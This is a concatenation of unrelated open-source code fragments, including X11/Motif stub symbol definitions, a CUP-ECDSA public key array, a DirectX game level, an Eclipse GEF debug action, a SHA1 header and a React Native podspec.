int _XmTextFindStringForwards = 0;
int XmTextFindStringWcs = 0;
int _XmTextFPrimClassExtRec = 0;
int _XmTextFreeContextData = 0;
int _XmTextFToggleCursorGC = 0;
int XmTextGetAddMode = 0;
int _XmTextGetAnchor = 0;
int XmTextGetBaseline = 0;
int _XmTextGetBaseLine = 0;
int XmTextGetBaseLine = 0;
int _XmTextGetBaselines = 0;
int XmTextGetCenterline = 0;
int XmTextGetCursorPosition = 0;
int _XmTextGetDisplayRect = 0;
int _XmTextGetDropReciever = 0;
int XmTextGetEditable = 0;
int XmTextGetInsertionPosition = 0;
int XmTextGetLastPosition = 0;
int _XmTextGetLineTable = 0;
int XmTextGetMaxLength = 0;
int _XmTextGetNumberLines = 0;
int _XmTextGetSel2 = 0;
int XmTextGetSelection = 0;
int XmTextGetSelectionPosition = 0;
int XmTextGetSelectionWcs = 0;
int XmTextGetSource = 0;
int XmTextGetString = 0;
int XmTextGetStringWcs = 0;
int XmTextGetSubstring = 0;
int XmTextGetSubstringWcs = 0;
int _XmTextGetTableIndex = 0;
int XmTextGetTopCharacter = 0;
int _XmTextGetTotalLines = 0;
int _XmTextHandleSecondaryFinished = 0;
int _XmTextHasDestination = 0;
int _XmTextInputCreate = 0;
int _XmTextInputGetSecResData = 0;
int XmTextInsert = 0;
int XmTextInsertWcs = 0;
int _XmTextInstallTransferTrait = 0;
int _XmTextInvalidate = 0;
int _XmTextIn_XmTextEventBindings1 = 0;
int _XmTextIn_XmTextEventBindings2 = 0;
int _XmTextIn_XmTextEventBindings3 = 0;
int _XmTextIn_XmTextVEventBindings = 0;
int _XmTextLineInfo = 0;
int _XmTextLoseSelection = 0;
int _XmTextMarginsProc = 0;
int _XmTextMarkRedraw = 0;
int _XmTextModifyVerify = 0;
int _XmTextMovingCursorPosition = 0;
int _XmTextNeedsPendingDeleteDis = 0;
int _XmTextNumLines = 0;
int _XmTextOutLoadGCsAndRecolorCursors = 0;
int _XmTextOutputCreate = 0;
int _XmTextOutputGetSecResData = 0;
int XmTextPaste = 0;
int XmTextPasteLink = 0;
int _XmTextPosToLine = 0;
int XmTextPosToXY = 0;
int _XmTextPrimClassExtRec = 0;
int _XmTextRealignLineTable = 0;
int XmTextRemove = 0;
int _XmTextReplace = 0;
int XmTextReplace = 0;
int XmTextReplaceWcs = 0;
int _XmTextResetClipOrigin = 0;
int _XmTextResetIC = 0;
int XmTextScroll = 0;
int _XmTextScrollable = 0;
int XmTextSetAddMode = 0;
int _XmTextSetCursorPosition = 0;
int XmTextSetCursorPosition = 0;
int _XmTextSetDestinationSelection = 0;
int _XmTextSetEditable = 0;
int XmTextSetEditable = 0;
int _XmTextSetHighlight = 0;
int XmTextSetHighlight = 0;
int XmTextSetInsertionPosition = 0;
int XmTextSetMaxLength = 0;
int _XmTextSetPreeditPosition = 0;
int _XmTextSetSel2 = 0;
int XmTextSetSelection = 0;
int XmTextSetSource = 0;
int XmTextSetString = 0;
int XmTextSetStringWcs = 0;
int _XmTextSetTopCharacter = 0;
int XmTextSetTopCharacter = 0;
int _XmTextShouldWordWrap = 0;
int _XmTextShowPosition = 0;
int XmTextShowPosition = 0;
int _XmTextToggleCursorGC = 0;
int _XmTextToLocaleText = 0;
int _XmTextUpdateLineTable = 0;
int _XmTextValidate = 0;
int _XmTextValueChanged = 0;
int xmTextWidgetClass = 0;
int XmTextXYToPos = 0;
int _XmToggleBCacheCompare = 0;
int _XmToggleB_defaultTranslations = 0;
int _XmToggleBGadClassExtRec = 0;
int _XmToggleB_menuTranslations = 0;
int _XmToggleBPrimClassExtRec = 0;
int xmToggleButtonClassRec = 0;
int xmToggleButtonGadgetClass = 0;
int xmToggleButtonGadgetClassRec = 0;
int XmToggleButtonGadgetGetState = 0;
int XmToggleButtonGadgetSetState = 0;
int XmToggleButtonGadgetSetValue = 0;
int xmToggleButtonGCacheObjClassRec = 0;
int XmToggleButtonGetState = 0;
int XmToggleButtonSetState = 0;
int XmToggleButtonSetValue = 0;
int xmToggleButtonWidgetClass = 0;
int _XmToHorizontalPixels = 0;
int _XmToLayoutDirection = 0;
int _XmToolTipEnter = 0;
int XmToolTipGetLabel = 0;
int _XmToolTipLeave = 0;
int _XmToolTipRemove = 0;
int _XmToPanedPixels = 0;
int _XmTopShadowColorDefault = 0;
int _XmTopShadowPixmapDefault = 0;
int _XmToVerticalPixels = 0;
int XmTrackingEvent = 0;
int XmTrackingLocate = 0;
int _XmTrackShellFocus = 0;
int XmTransferDone = 0;
int _XmTransferGetDestinationCBStruct = 0;
int XmTransferSendRequest = 0;
int XmTransferSetParameters = 0;
int XmTransferStartRequest = 0;
int XmTransferValue = 0;
int _XmTransformSubResources = 0;
int XmTranslateKey = 0;
int _XmTraverse = 0;
int _XmTraverseAway = 0;
int _XmTraverseDown = 0;
int _XmTraverseHome = 0;
int _XmTraverseLeft = 0;
int _XmTraverseNext = 0;
int _XmTraverseNextTabGroup = 0;
int _XmTraversePrev = 0;
int _XmTraversePrevTabGroup = 0;
int _XmTraverseRight = 0;
int _XmTraverseUp = 0;
int _XmTravGraphAdd = 0;
int _XmTravGraphRemove = 0;
int _XmTravGraphUpdate = 0;
int xmTreeClassRec = 0;
int xmTreeWidgetClass = 0;
int XmuNCopyISOLatin1Lowered = 0;
int _XmUnhighlightBorder = 0;
int XmUninstallImage = 0;
int _XmUnitTypeDefault = 0;
int XmUpdateDisplay = 0;
int _XmUseColorObj = 0;
int xmUseVersion = 0;
int _XmUtf8ToUcs2 = 0;
int _XmUtilIsSubclassByNameQ = 0;
int XmVaCreateArrowButton = 0;
int XmVaCreateArrowButtonGadget = 0;
int XmVaCreateBulletinBoard = 0;
int XmVaCreateButtonBox = 0;
int XmVaCreateCascadeButton = 0;
int XmVaCreateCascadeButtonGadget = 0;
int XmVaCreateColorSelector = 0;
int XmVaCreateColumn = 0;
int XmVaCreateCombinationBox2 = 0;
int XmVaCreateComboBox = 0;
int XmVaCreateCommand = 0;
int XmVaCreateContainer = 0;
int XmVaCreateDataField = 0;
int XmVaCreateDrawingArea = 0;
int XmVaCreateDrawnButton = 0;
int XmVaCreateDropDown = 0;
int XmVaCreateExt18List = 0;
int XmVaCreateFileSelectionBox = 0;
int XmVaCreateForm = 0;
int XmVaCreateFrame = 0;
int XmVaCreateIconGadget = 0;
int XmVaCreateLabel = 0;
int XmVaCreateLabelGadget = 0;
int XmVaCreateList = 0;
int XmVaCreateMainWindow = 0;
int XmVaCreateManagedArrowButton = 0;
int XmVaCreateManagedArrowButtonGadget = 0;
int XmVaCreateManagedBulletinBoard = 0;
int XmVaCreateManagedButtonBox = 0;
int XmVaCreateManagedCascadeButton = 0;
int XmVaCreateManagedCascadeButtonGadget = 0;
int XmVaCreateManagedColorSelector = 0;
int XmVaCreateManagedColumn = 0;
int XmVaCreateManagedCombinationBox2 = 0;
int XmVaCreateManagedComboBox = 0;
int XmVaCreateManagedCommand = 0;
int XmVaCreateManagedContainer = 0;
int XmVaCreateManagedDataField = 0;
int XmVaCreateManagedDrawingArea = 0;
int XmVaCreateManagedDrawnButton = 0;
int XmVaCreateManagedDropDown = 0;
int XmVaCreateManagedExt18List = 0;
int XmVaCreateManagedFileSelectionBox = 0;
int XmVaCreateManagedForm = 0;
int XmVaCreateManagedFrame = 0;
int XmVaCreateManagedIconGadget = 0;
int XmVaCreateManagedLabel = 0;
int XmVaCreateManagedLabelGadget = 0;
int XmVaCreateManagedList = 0;
int XmVaCreateManagedMainWindow = 0;
int XmVaCreateManagedMessageBox = 0;
int XmVaCreateManagedMultiList = 0;
int XmVaCreateManagedNotebook = 0;
int XmVaCreateManagedPanedWindow = 0;
int XmVaCreateManagedPushButton = 0;
int XmVaCreateManagedPushButtonGadget = 0;
int XmVaCreateManagedRowColumn = 0;
int XmVaCreateManagedScale = 0;
int XmVaCreateManagedScrollBar = 0;
int XmVaCreateManagedScrolledWindow = 0;
int XmVaCreateManagedSelectionBox = 0;
int XmVaCreateManagedSeparator = 0;
int XmVaCreateManagedSeparatorGadget = 0;
int XmVaCreateManagedSimpleSpinBox = 0;
int XmVaCreateManagedSpinBox = 0;
int XmVaCreateManagedTabStack = 0;
int XmVaCreateManagedText = 0;
int XmVaCreateManagedTextField = 0;
int XmVaCreateManagedToggleButton = 0;
int XmVaCreateManagedToggleButtonGadget = 0;
int XmVaCreateMessageBox = 0;
int XmVaCreateMultiList = 0;
int XmVaCreateNotebook = 0;
int XmVaCreatePanedWindow = 0;
int XmVaCreatePushButton = 0;
int XmVaCreatePushButtonGadget = 0;
int XmVaCreateRowColumn = 0;
int XmVaCreateScale = 0;
int XmVaCreateScrollBar = 0;
int XmVaCreateScrolledWindow = 0;
int XmVaCreateSelectionBox = 0;
int XmVaCreateSeparator = 0;
int XmVaCreateSeparatorGadget = 0;
int XmVaCreateSimpleCheckBox = 0;
int XmVaCreateSimpleMenuBar = 0;
int XmVaCreateSimpleOptionMenu = 0;
int XmVaCreateSimplePopupMenu = 0;
int XmVaCreateSimplePulldownMenu = 0;
int XmVaCreateSimpleRadioBox = 0;
int XmVaCreateSimpleSpinBox = 0;
int XmVaCreateSpinBox = 0;
int XmVaCreateTabStack = 0;
int XmVaCreateText = 0;
int XmVaCreateTextField = 0;
int XmVaCreateToggleButton = 0;
int XmVaCreateToggleButtonGadget = 0;
int _XmValidateFocus = 0;
int _XmValidCursorIconQuark = 0;
int _XmValidTimestamp = 0;
int _XmVaToTypedArgList = 0;
int _XmVendorExtRealize = 0;
int xmVendorShellExtClassRec = 0;
int xmVendorShellExtObjectClass = 0;
int _XmVersionString = 0;
int _XmVirtKeys_acornFallbackBindingString = 0;
int _XmVirtKeys_apolloFallbackBindingString = 0;
int _XmVirtKeys_dblclkFallbackBindingString = 0;
int _XmVirtKeys_decFallbackBindingString = 0;
int _XmVirtKeysDestroy = 0;
int _XmVirtKeys_dgFallbackBindingString = 0;
int _XmVirtKeys_fallbackBindingString = 0;
int _XmVirtKeysHandler = 0;
int _XmVirtKeys_hpFallbackBindingString = 0;
int _XmVirtKeys_ibmFallbackBindingString = 0;
int _XmVirtKeys_ingrFallbackBindingString = 0;
int _XmVirtKeysInitialize = 0;
int _XmVirtKeysLoadFallbackBindings = 0;
int _XmVirtKeysLoadFileBindings = 0;
int _XmVirtKeys_megatekFallbackBindingString = 0;
int _XmVirtKeys_motorolaFallbackBindingString = 0;
int _XmVirtKeys_sgiFallbackBindingString = 0;
int _XmVirtKeys_siemens9733FallbackBindingString = 0;
int _XmVirtKeys_siemensWx200FallbackBindingString = 0;
int _XmVirtKeys_sunFallbackBindingString = 0;
int _XmVirtKeys_tekFallbackBindingString = 0;
int _XmVirtualToActualKeysym = 0;
int _XmWarning = 0;
int _XmWarningMsg = 0;
int _XmWhitePixel = 0;
int _XmWidgetFocusChange = 0;
int XmWidgetGetBaselines = 0;
int XmWidgetGetDisplayRect = 0;
int _XmWidgetIsTraversable = 0;
int xmWorldClass = 0;
int xmWorldClassRec = 0;
int xmWorldObjectClass = 0;
int _XmWriteDragBuffer = 0;
int _XmWriteDSToStream = 0;
int _XmWriteInitiatorInfo = 0;
int _XmXftDrawCreate = 0;
int _XmXftDrawDestroy = 0;
int _XmXftDrawString = 0;
int _XmXftDrawString2 = 0;
int _XmXftFontAverageWidth = 0;
int _XmXftGetXftColor = 0;
int _XmXftSetClipRectangles = 0;
int _Xmxpmatoui = 0;
int _XmxpmColorKeys = 0;
int _XmxpmCreateImageFromPixmap = 0;
int _XmxpmCreatePixmapFromImage = 0;
int _XmxpmDataTypes = 0;
int _XmxpmFreeColorTable = 0;
int _XmxpmFreeRgbNames = 0;
int _XmxpmGetCmt = 0;
int _XmxpmGetRgbName = 0;
int _XmxpmGetString = 0;
int _XmxpmHashIntern = 0;
int _XmxpmHashSlot = 0;
int _XmxpmHashTableFree = 0;
int _XmxpmHashTableInit = 0;
int _XmxpmInitAttributes = 0;
int _XmxpmInitXpmImage = 0;
int _XmxpmInitXpmInfo = 0;
int _XmxpmNextString = 0;
int _XmxpmNextUI = 0;
int _XmxpmNextWord = 0;
int _XmxpmParseColors = 0;
int _XmxpmParseData = 0;
int _XmxpmParseDataAndCreate = 0;
int _XmxpmParseExtensions = 0;
int _XmxpmParseHeader = 0;
int _XmxpmParseValues = 0;
int _XmxpmReadRgbNames = 0;
int _XmxpmSetAttributes = 0;
int _XmxpmSetInfo = 0;
int _XmxpmSetInfoMask = 0;
int _Xmxpm_xynormalizeimagebits = 0;
int _Xmxpm_znormalizeimagebits = 0;
int XNextEvent = 0;
int XOffsetRegion = 0;
int XOMOfOC = 0;
int XOpenDisplay = 0;
int XOpenIM = 0;
int XParseColor = 0;
int XPeekEvent = 0;
int XPending = 0;
int Xpms_popen = 0;
int XPolygonRegion = 0;
int XPutBackEvent = 0;
int XPutImage = 0;
int XQueryBestCursor = 0;
int XQueryColor = 0;
int XQueryColors = 0;
int XQueryPointer = 0;
int XQueryTree = 0;
int XRaiseWindow = 0;
int XReadBitmapFileData = 0;
int XRecolorCursor = 0;
int XRectInRegion = 0;
int XReparentWindow = 0;
int XrmCombineDatabase = 0;
int XrmDestroyDatabase = 0;
int XrmGetStringDatabase = 0;
int XrmPermStringToQuark = 0;
int XrmPutResource = 0;
int XrmPutStringResource = 0;
int XrmQGetResource = 0;
int XrmQGetSearchList = 0;
int XrmQGetSearchResource = 0;
int XrmQuarkToString = 0;
int XrmStringToQuark = 0;
int XrmUniqueQuark = 0;
int XRotateBuffers = 0;
int XSaveContext = 0;
int XScreenCount = 0;
int XScreenNumberOfScreen = 0;
int XScreenOfDisplay = 0;
int XSelectInput = 0;
int XSendEvent = 0;
int XSetClipMask = 0;
int XSetClipOrigin = 0;
int XSetClipRectangles = 0;
int XSetCloseDownMode = 0;
int XSetErrorHandler = 0;
int XSetFillStyle = 0;
int XSetForeground = 0;
int XSetFunction = 0;
int XSetICFocus = 0;
int XSetICValues = 0;
int XSetInputFocus = 0;
int XSetLineAttributes = 0;
int XSetLocaleModifiers = 0;
int XSetOCValues = 0;
int XSetRegion = 0;
int XSetSelectionOwner = 0;
int XSetStipple = 0;
int XSetTextProperty = 0;
int XSetTSOrigin = 0;
int XSetWindowBackground = 0;
int XSetWindowBackgroundPixmap = 0;
int XSetWMColormapWindows = 0;
int XShapeCombineMask = 0;
int XShapeCombineRectangles = 0;
int XShapeQueryExtension = 0;
int __xstat64 = 0;
int XStoreBuffer = 0;
int XStoreColor = 0;
int XStringToKeysym = 0;
int XSubtractRegion = 0;
int XSync = 0;
int XtAddCallback = 0;
int XtAddEventHandler = 0;
int XtAddGrab = 0;
int XtAddRawEventHandler = 0;
int XtAllocateGC = 0;
int XtAppAddTimeOut = 0;
int XtAppAddWorkProc = 0;
int XtAppCreateShell = 0;
int XtAppErrorMsg = 0;
int XtAppGetExitFlag = 0;
int XtAppGetSelectionTimeout = 0;
int XtAppLock = 0;
int XtAppNextEvent = 0;
int XtAppPending = 0;
int XtAppProcessEvent = 0;
int XtAppSetSelectionTimeout = 0;
int XtAppSetTypeConverter = 0;
int XtAppSetWarningMsgHandler = 0;
int XtAppUnlock = 0;
int XtAppWarningMsg = 0;
int XtAugmentTranslations = 0;
int XtBuildEventMask = 0;
int XtCallActionProc = 0;
int XtCallCallbackList = 0;
int XtCallCallbacks = 0;
int XtCallConverter = 0;
int XtCalloc = 0;
int XtCancelSelectionRequest = 0;
int XtConfigureWidget = 0;
int XtConvertAndStore = 0;
int XtConvertCase = 0;
int XtCreateManagedWidget = 0;
int XtCreatePopupShell = 0;
int XtCreateSelectionRequest = 0;
int XtCreateWidget = 0;
int XtCreateWindow = 0;
int XtCvtStringToFontSet = 0;
int XtCvtStringToFontStruct = 0;
int XtCvtStringToPixel = 0;
int XtDatabase = 0;
int XtDestroyApplicationContext = 0;
int XtDestroyWidget = 0;
int XtDisownSelection = 0;
int XtDispatchEvent = 0;
int XtDisplayOfObject = 0;
int XtDisplayStringConversionWarning = 0;
int XtDisplayToApplicationContext = 0;
int XtError = 0;
int XtErrorMsg = 0;
int XTextExtents = 0;
int XTextExtents16 = 0;
int XTextWidth = 0;
int XTextWidth16 = 0;
int XtFree = 0;
int XtGetActionKeysym = 0;
int XtGetApplicationNameAndClass = 0;
int XtGetApplicationResources = 0;
int XtGetConstraintResourceList = 0;
int XtGetErrorDatabaseText = 0;
int XtGetGC = 0;
int XtGetKeysymTable = 0;
int XtGetMultiClickTime = 0;
int XtGetResourceList = 0;
int XtGetSelectionParameters = 0;
int XtGetSelectionRequest = 0;
int XtGetSelectionValue = 0;
int XtGetSelectionValueIncremental = 0;
int XtGetSelectionValues = 0;
int XtGetSelectionValuesIncremental = 0;
int XtGetSubresources = 0;
int XtGetSubvalues = 0;
int XtGetValues = 0;
int XtGrabButton = 0;
int XtGrabKey = 0;
int XtGrabKeyboard = 0;
int XtGrabPointer = 0;
int XtHasCallbacks = 0;
int _XtInherit = 0;
int _XtInheritTranslations = 0;
int XtInitializeWidgetClass = 0;
int XtInsertEventHandler = 0;
int XtInstallAccelerators = 0;
int XtIsManaged = 0;
int XtIsSensitive = 0;
int XtIsSubclass = 0;
int _XtIsSubclassOf = 0;
int XtLastEventProcessed = 0;
int XtLastTimestampProcessed = 0;
int XtMakeGeometryRequest = 0;
int XtMakeResizeRequest = 0;
int XtMalloc = 0;
int XtManageChild = 0;
int XtManageChildren = 0;
int XtMergeArgLists = 0;
int XtMoveWidget = 0;
int XtName = 0;
int XtNameToWidget = 0;
int XtOverrideTranslations = 0;
int XtOwnSelection = 0;
int XtOwnSelectionIncremental = 0;
int XtParseAcceleratorTable = 0;
int XtParseTranslationTable = 0;
int XtPopdown = 0;
int XtPopup = 0;
int XtProcessLock = 0;
int XtProcessUnlock = 0;
int XtQueryGeometry = 0;
int XTranslateCoordinates = 0;
int XtRealizeWidget = 0;
int XtRealloc = 0;
int XtRegisterGrabAction = 0;
int XtReleaseGC = 0;
int XtRemoveAllCallbacks = 0;
int XtRemoveCallback = 0;
int XtRemoveEventHandler = 0;
int XtRemoveGrab = 0;
int XtRemoveTimeOut = 0;
int XtRemoveWorkProc = 0;
int XtResizeWidget = 0;
int XtResolvePathname = 0;
int XtScreenDatabase = 0;
int XtScreenOfObject = 0;
int XtSendSelectionRequest = 0;
int XtSetKeyboardFocus = 0;
int XtSetKeyTranslator = 0;
int XtSetMappedWhenManaged = 0;
int XtSetSelectionParameters = 0;
int XtSetSensitive = 0;
int XtSetSubvalues = 0;
int XtSetTypeConverter = 0;
int XtSetValues = 0;
int XtShellStrings = 0;
int XtStrings = 0;
int XtTranslateCoords = 0;
int XtTranslateKey = 0;
int XtUngrabButton = 0;
int XtUngrabKey = 0;
int XtUngrabKeyboard = 0;
int XtUngrabPointer = 0;
int XtUnmanageChild = 0;
int XtUnmanageChildren = 0;
int XtVaCreateManagedWidget = 0;
int XtVaCreateWidget = 0;
int XtVaGetValues = 0;
int XtVaSetValues = 0;
int XtWarning = 0;
int XtWarningMsg = 0;
int XtWidgetToApplicationContext = 0;
int XtWindowOfObject = 0;
int XtWindowToWidget = 0;
int XUngrabKeyboard = 0;
int XUngrabPointer = 0;
int XUngrabServer = 0;
int XUnionRectWithRegion = 0;
int XUnionRegion = 0;
int XUnmapWindow = 0;
int XUnsetICFocus = 0;
int Xutf8DrawImageString = 0;
int Xutf8DrawString = 0;
int Xutf8TextEscapement = 0;
int Xutf8TextExtents = 0;
int Xutf8TextListToTextProperty = 0;
int XVaCreateNestedList = 0;
int XWarpPointer = 0;
int XwcDrawImageString = 0;
int XwcDrawString = 0;
int XwcTextEscapement = 0;
int XwcTextExtents = 0;
int XWidthOfScreen = 0;
int XWindowEvent = 0;
int XWithdrawWindow = 0;
int overrideShellWidgetClass = 0;
| 43,954 |
1,975 | // Copyright 2021 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// ========================================================================
//
// CUP-ECDSA public keys consist of a byte array, 66 bytes long, containing:
// * The key ID (one byte)
// * The public key in X9.62 uncompressed encoding (65 bytes):
// * Uncompressed header byte (0x04)
// * Gx coordinate (256-bit integer, big-endian)
// * Gy coordinate (256-bit integer, big-endian)
{0x0b,
0x04,
0x80, 0x7d, 0xf4, 0x59, 0x12, 0x5f, 0xe2, 0x0e,
0x88, 0xd8, 0x2d, 0x45, 0x2a, 0xc0, 0x50, 0x17,
0x7a, 0x87, 0x00, 0xd2, 0xf0, 0xb6, 0x1c, 0x18,
0xb0, 0xdb, 0x76, 0x3d, 0x64, 0xc3, 0x40, 0x14,
0xb4, 0xb9, 0xf4, 0x91, 0x13, 0xcd, 0xe9, 0x88,
0xe3, 0xe8, 0x25, 0x07, 0x1e, 0x3f, 0x34, 0xe4,
0x31, 0xf6, 0xe0, 0x86, 0x39, 0xd9, 0x7a, 0xb0,
0xe3, 0x2c, 0x98, 0x41, 0xb0, 0x39, 0x1f, 0x16};
| 553 |
2,504 | <gh_stars>1000+
//*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// This code is licensed under the MIT License (MIT).
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
//
//*********************************************************
#include "pch.h"
#include "Level1.h"
#include "Face.h"
using namespace DirectX;
Level1::Level1()
{
m_timeLimit = 20.0f;
m_objective = L"Hit each of the targets before time runs out.\nTouch to aim. Tap in right box to fire. Drag in left box to move.";
}
void Level1::Initialize(std::vector<std::shared_ptr<GameObject>> const& objects)
{
XMFLOAT3 position[] =
{
XMFLOAT3(-2.5f, -1.0f, -1.5f),
XMFLOAT3(-1.0f, 1.0f, -3.0f),
XMFLOAT3(1.5f, 0.0f, -3.0f),
XMFLOAT3(-2.5f, -1.0f, -5.5f),
XMFLOAT3(0.5f, -2.0f, -5.0f),
XMFLOAT3(1.5f, -2.0f, -5.5f),
XMFLOAT3(2.0f, 0.0f, 0.0f),
XMFLOAT3(0.0f, 0.0f, 0.0f),
XMFLOAT3(-2.0f, 0.0f, 0.0f)
};
int targetCount = 0;
for (auto&& object : objects)
{
if (auto target = dynamic_cast<Face*>(object.get()))
{
if (targetCount < 9)
{
target->Active(true);
target->Target(true);
target->Hit(false);
target->AnimatePosition(nullptr);
target->Position(position[targetCount]);
targetCount++;
}
else
{
object->Active(false);
}
}
else
{
object->Active(false);
}
}
} | 990 |
582 | <filename>org.eclipse.gef/src/org/eclipse/gef/ui/console/DebugGEFAction.java
/*******************************************************************************
* Copyright (c) 2000, 2010 IBM Corporation and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* IBM Corporation - initial API and implementation
*******************************************************************************/
package org.eclipse.gef.ui.console;
import org.eclipse.jface.action.Action;
import org.eclipse.jface.resource.ImageDescriptor;
import org.eclipse.gef.GEF;
/**
* Actions associated with viewing debugging data in GEF
*
* @deprecated in 3.1
*/
public class DebugGEFAction extends Action {
/** Feedback ID **/
public static String DEBUG_FEEDBACK = "DFeedback"; //$NON-NLS-1$
/** Painting ID **/
public static String DEBUG_PAINTING = "DPainting"; //$NON-NLS-1$
/** EditPart ID **/
public static String DEBUG_EDITPARTS = "DEditParts"; //$NON-NLS-1$
/** Events ID **/
public static String DEBUG_EVENTS = "DEvents"; //$NON-NLS-1$
/** Tools ID **/
public static String DEBUG_TOOLS = "DTools"; //$NON-NLS-1$
/** Global ID **/
public static String DEBUG_GLOBAL = "DGlobal"; //$NON-NLS-1$
/** Clear ID **/
public static String DEBUG_CLEAR = "DClear"; //$NON-NLS-1$
/** States ID **/
public static String DEBUG_STATES = "DStates"; //$NON-NLS-1$
/** DND ID **/
public static String DEBUG_DND = "DDND"; //$NON-NLS-1$
/**
* Creates a new DebugGEFAction with the given String and ImageDescriptor
*
* @param label
* the label
* @param desc
* the ImageDescriptor
*/
public DebugGEFAction(String label, ImageDescriptor desc) {
super(label, desc);
}
/**
* @see Action#run()
*/
@Override
public void run() {
String type = getText();
if (type.compareTo(DEBUG_STATES) == 0) {
GEF.DebugToolStates = !GEF.DebugToolStates;
}
if (type.compareTo(DEBUG_FEEDBACK) == 0) {
GEF.DebugFeedback = !GEF.DebugFeedback;
}
if (type.compareTo(DEBUG_PAINTING) == 0) {
GEF.DebugPainting = !GEF.DebugPainting;
}
if (type.compareTo(DEBUG_EDITPARTS) == 0) {
GEF.DebugEditParts = !GEF.DebugEditParts;
}
if (type.compareTo(DEBUG_EVENTS) == 0) {
GEF.DebugEvents = !GEF.DebugEvents;
}
if (type.compareTo(DEBUG_TOOLS) == 0) {
GEF.DebugTools = !GEF.DebugTools;
}
if (type.compareTo(DEBUG_GLOBAL) == 0) {
GEF.GlobalDebug = !GEF.GlobalDebug;
}
if (type.compareTo(DEBUG_CLEAR) == 0) {
GEF.clearConsole();
}
if (type.compareTo(DEBUG_DND) == 0) {
GEF.DebugDND = !GEF.DebugDND;
}
}
}
| 1,300 |
1,069 | /* ==========================================================
File: Heartbeat.java
Description: Stores coding activity waiting to be sent to the api.
Maintainer: WakaTime <<EMAIL>>
License: BSD, see LICENSE for more details.
Website: https://wakatime.com/
===========================================================*/
package com.wakatime.intellij.plugin;
import java.math.BigDecimal;
public class Heartbeat {
public String entity;
public BigDecimal timestamp;
public Boolean isWrite;
public String project;
public String language;
}
| 165 |
6,285 | <filename>test/config/tslint-default-severity-error.json
{
"defaultSeverity": "error",
"rules": {
"default-severity-error": { "severity": "default" }
}
}
| 65 |
578 | <reponame>ronys/pwsafe
/*
* Copyright (c) 2003-2021 <NAME> <<EMAIL>>.
* All rights reserved. Use of the code is allowed under the
* Artistic License 2.0 terms, as specified in the LICENSE file
* distributed with this code, or available from
* http://www.opensource.org/licenses/artistic-license-2.0.php
*/
#ifndef __SHA1_H
#define __SHA1_H
#include "os/typedefs.h"
class SHA1
{
public:
static const unsigned int HASHLEN = 20;
static const unsigned int BLOCKSIZE = 64;
SHA1();
~SHA1();
void Update(const unsigned char* data, unsigned int len);
void Final(unsigned char digest[HASHLEN]);
private:
uint32 state[5];
uint32 count[2];
unsigned char buffer[BLOCKSIZE];
};
#endif /* __SHA1_H */
| 246 |
16,461 | <filename>ios/vendored/sdk42/react-native-reanimated/ABI42_0_0RNReanimated.podspec.json
{
"name": "ABI42_0_0RNReanimated",
"version": "2.2.0",
"summary": "More powerful alternative to Animated library for ABI42_0_0React Native.",
"description": "ABI42_0_0RNReanimated",
"homepage": "https://github.com/software-mansion/react-native-reanimated",
"license": "MIT",
"authors": {
"author": "<EMAIL>"
},
"platforms": {
"ios": "9.0",
"tvos": "9.0"
},
"source": {
"git": "https://github.com/software-mansion/react-native-reanimated.git",
"tag": "2.2.0"
},
"source_files": [
"ios/**/*.{mm,h,m}",
"Common/cpp/**/*.cpp",
"Common/cpp/headers/**/*.h"
],
"preserve_paths": [
"Common/cpp/hidden_headers/**"
],
"pod_target_xcconfig": {
"USE_HEADERMAP": "YES",
"HEADER_SEARCH_PATHS": "\"$(PODS_TARGET_SRCROOT)/ABI42_0_0ReactCommon\" \"$(PODS_TARGET_SRCROOT)\" \"$(PODS_ROOT)/RCT-Folly\" \"$(PODS_ROOT)/boost-for-react-native\" \"$(PODS_ROOT)/DoubleConversion\" \"$(PODS_ROOT)/Headers/Private/ABI42_0_0React-Core\" "
},
"compiler_flags": "-DFOLLY_NO_CONFIG -DFOLLY_MOBILE=1 -DFOLLY_USE_LIBCPP=1 -DRNVERSION=63 -Wno-comma -Wno-shorten-64-to-32 -Wno-documentation",
"xcconfig": {
"CLANG_CXX_LANGUAGE_STANDARD": "c++14",
"HEADER_SEARCH_PATHS": "\"$(PODS_ROOT)/boost-for-react-native\" \"$(PODS_ROOT)/glog\" \"$(PODS_ROOT)/RCT-Folly\"",
"OTHER_CFLAGS": "$(inherited) -DFOLLY_NO_CONFIG -DFOLLY_MOBILE=1 -DFOLLY_USE_LIBCPP=1 -DRNVERSION=63"
},
"requires_arc": true,
"dependencies": {
"ABI42_0_0React": [],
"FBLazyVector": [],
"FBReactNativeSpec": [],
"ABI42_0_0RCTRequired": [],
"ABI42_0_0RCTTypeSafety": [],
"ABI42_0_0React-Core": [],
"ABI42_0_0React-CoreModules": [],
"ABI42_0_0React-Core/DevSupport": [],
"ABI42_0_0React-RCTActionSheet": [],
"ABI42_0_0React-RCTNetwork": [],
"ABI42_0_0React-RCTAnimation": [],
"ABI42_0_0React-RCTLinking": [],
"ABI42_0_0React-RCTBlob": [],
"ABI42_0_0React-RCTSettings": [],
"ABI42_0_0React-RCTText": [],
"ABI42_0_0React-RCTVibration": [],
"ABI42_0_0React-RCTImage": [],
"ABI42_0_0React-Core/RCTWebSocket": [],
"ABI42_0_0React-cxxreact": [],
"ABI42_0_0React-jsi": [],
"ABI42_0_0React-jsiexecutor": [],
"ABI42_0_0React-jsinspector": [],
"ABI42_0_0ReactCommon/turbomodule/core": [],
"Yoga": [],
"DoubleConversion": [],
"glog": [],
"ABI42_0_0React-callinvoker": [],
"RCT-Folly": []
}
}
| 1,290 |
352 | /**
* Waiter utils.
*/
package com.crawljax.condition.browserwaiter; | 25 |
346 | <filename>src/game/Tactical/End_Game.cc
#include "Soldier_Control.h"
#include "Overhead.h"
#include "Boxing.h"
#include "Render_Fun.h"
#include "Random.h"
